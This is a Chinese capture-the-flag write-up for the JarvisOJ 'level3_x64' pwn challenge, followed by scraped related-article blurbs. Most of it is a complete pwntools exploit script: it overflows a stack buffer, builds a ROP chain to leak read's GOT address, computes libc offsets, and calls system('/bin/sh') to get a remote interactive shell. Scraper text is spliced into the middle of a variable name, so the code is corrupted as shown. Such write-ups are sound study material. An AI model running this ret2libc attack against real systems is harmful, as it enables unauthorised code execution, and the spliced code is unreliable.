这一题是和前面x86的差不多,都是利用了同一个知识点,唯一的区别就是使用的堆栈地址不同,x86是直接使用堆栈来传递参数的,而x64不同

x64的函数调用时整数和指针参数按照从左到右的顺序依次保存在寄存器rdi,rsi,rdx,rcx,r8和r9中

所以要找到rop然后来讲rdi和rsi和rdx赋值,这里前面两个比较容易找到,第三参数无论如何都没有能够找到,但是前面rdx的值为0x100所以不影响这个题目的解题

知识点和上一题的差不多,利用一下是很简单的。

exp就是这么简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
#p = process('./level3_x64')
p = remote('pwn2.jarvisoj.com',9883)
rop_edi = 0x04006b3 # 1 pop rdi; ret;
rop_esi = 0x04006b1 # got_read pop rsi; pop r15; ret;
plt_write = 0x04004B0
got_re 大专栏  JarvisOJ level3_x64ad = 0x0600A60
addr_func = 0x04005E6
shellcode = 'A'*0x80+'bbbbbbbb'
shellcode += p64(rop_edi)+p64(1) #mov edi, 1
shellcode += p64(rop_esi)+p64(got_read)+p64(0) #mov esi, got_read
shellcode += p64(plt_write)+p64(addr_func) # write and return to function
p.recvuntil('Input:n')
p.sendline(shellcode)
tmp = p.recv(8)
print tmp
p.recvuntil('Input:n')
addr_read = u64(tmp[0:8])
print 'read_got =',hex(addr_read)
libc = ELF('./libc-2.19.so')
libc_binsh = 0x17c8c3
addr_system = libc.symbols['system']- libc.symbols['read'] + addr_read
addr_binsh = libc_binsh - libc.symbols['read'] + addr_read
addr_exit = libc.symbols['exit'] - libc.symbols['read'] + addr_read
payload = 'A'*0x80+'bbbbbbbb'
payload += p64(rop_edi)+p64(addr_binsh) # mov edi, addr_binsh
payload += p64(addr_system)+p64(addr_exit) # do system and exit
p.sendline(payload)
p.interactive()

JarvisOJ level3_x64的更多相关文章

  1. jarvisoj level5爬坑

    本着纸上得来终觉浅,绝知此事要躬行的原则,把一个简单的ROP做了一下.漏洞很明显,libc有给出:唯一的限制就是不允许调用system或execve,而是用mprotect或者mmap 脚本调了半天, ...

  2. JarvisOJ平台Web题部分writeup

    PORT51 题目链接:http://web.jarvisoj.com:32770/ 这道题本来以为是访问服务器的51号端口,但是想想又不太对,应该是本地的51号端口访问服务器 想着用linux下的c ...

  3. CTF Jarvisoj Web(session.upload_progress.name php 上传进度)

    Jarvisoj Web 题目地址:http://web.jarvisoj.com:32784/index.php <?php //A webshell is wait for you ini_ ...

  4. jarvisoj fm

    使用指令 checksec 查看保护情况 Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PI ...

  5. jarvisoj flag在管理员手上

    jarvisoj flag在管理员手上 涉及知识点: (1)代码审计和cookie注入 (2)哈希长度拓展攻击 解析: 进入题目的界面.看到 那么就是想方设法的变成admin了.挂上御剑开始审计.发现 ...

  6. jarvisoj babyphp

    jarvisoj babyphp 涉及知识点: (1)GitHack处理.git源码泄露 (2)php代码注入 解析: 进入题目界面. 看到题目中的用了git那么第一反应肯定是可能存在.git源码泄露 ...

  7. JarvisOJ Basic Help!!

    出题人硬盘上找到一个神秘的压缩包,里面有个word文档,可是好像加密了呢~让我们一起分析一下吧! 首先用7zip解压缩,发现是一个word文件,说什么flag被藏起来了 觉得是不是应该有什么附加的信息 ...

  8. JarvisOJ Misc webshell分析

    分析压缩包中的数据包文件并获取flag.flag为32位大写md5. 神仙们还是强啊,webshell主要看http流,再过滤只剩下post请求 可以使用 http.request.method == ...

  9. JarvisOJ Misc shell流量分析

    分析一下shell流量,得到flag 看着一大推的数据记录头都大了,并没有什么wireshark的使用经验,开始胡搞 首先用notepad++打开,搜索flag字样找到了一个类似于python脚本的东 ...

随机推荐

  1. UIWindow statusBar消失

    1.新建UIWindow 程序崩溃 报无根控制器错误 Xcode7环境下,新建UIWindow需添加rootViewController 2.新建UIWindow后 statusBar消失 Info. ...

  2. CAR-T|Single cell plan|Extracellular RNA|

    生物医疗大数据 安吉丽娜朱莉发现抑癌基因事件,BRCA突变与乳腺癌关联. 个体化测序商品23 and me 多组学数据研究:eg:太空和地球双胞胎发现生化指标差不多. 研究模式和工业模式相结合. 研究 ...

  3. STM32重映射

  4. share团队冲刺9

    团队冲刺第九天 昨天:完善代码 今天:修改代码中的问题,提高兼容性 问题:无

  5. share团队冲刺3

    团队冲刺第三天 昨天:完成了对输出文字,按钮控件的添加,能够将其在模拟器上运行 今天:学习输入的添加方式 问题:Android resource linking failed 在改变按钮样式的时候,出 ...

  6. 移除手机端a标签点击自动出现的边框和背景

    手机端a标签会自动补充出现边框或者背景,使得用户知道a标签的点击状态,但样式很不好看 <!DOCTYPE html> <html> <head> <meta ...

  7. 计蒜客 一维坐标的移动(BFS)

    在一个长度为 n 的坐标轴上,蒜头君想从 A 点 移动到 B 点.他的移动规则如下: 向前一步,坐标增加 1. 向后一步,坐标减少 1. 跳跃一步,使得坐标乘 2. 蒜头君不能移动到坐标小于 0 或大 ...

  8. codeforces 596

    C 题意 定义p-binary为2^x+p 现在给你一个数x,和一个p. 问你最少用多少个p-binary能构造出x,如果没有输出-1 题解 转化为: x = 2^x1 + 2^x2 + ... + ...

  9. 寒假day07

    今天没写毕设,看了一些公司招聘的信息,刷了一点相关面试题 1.在一个二维数组中(每个一维数组的长度相同),每一行都按照从左到右递增的顺序排序,每一列都按照从上到下递增的顺序排序.请完成一个函数,输入这 ...

  10. fread 和fgets 函数的使用

    两个函数都是对FILE *fp 文件进行读取信息,fgets是每次读取一行,fread是一下子读完所有的文件内容. //一.fread的使用 FILE *fp; int nread; ] fp = f ...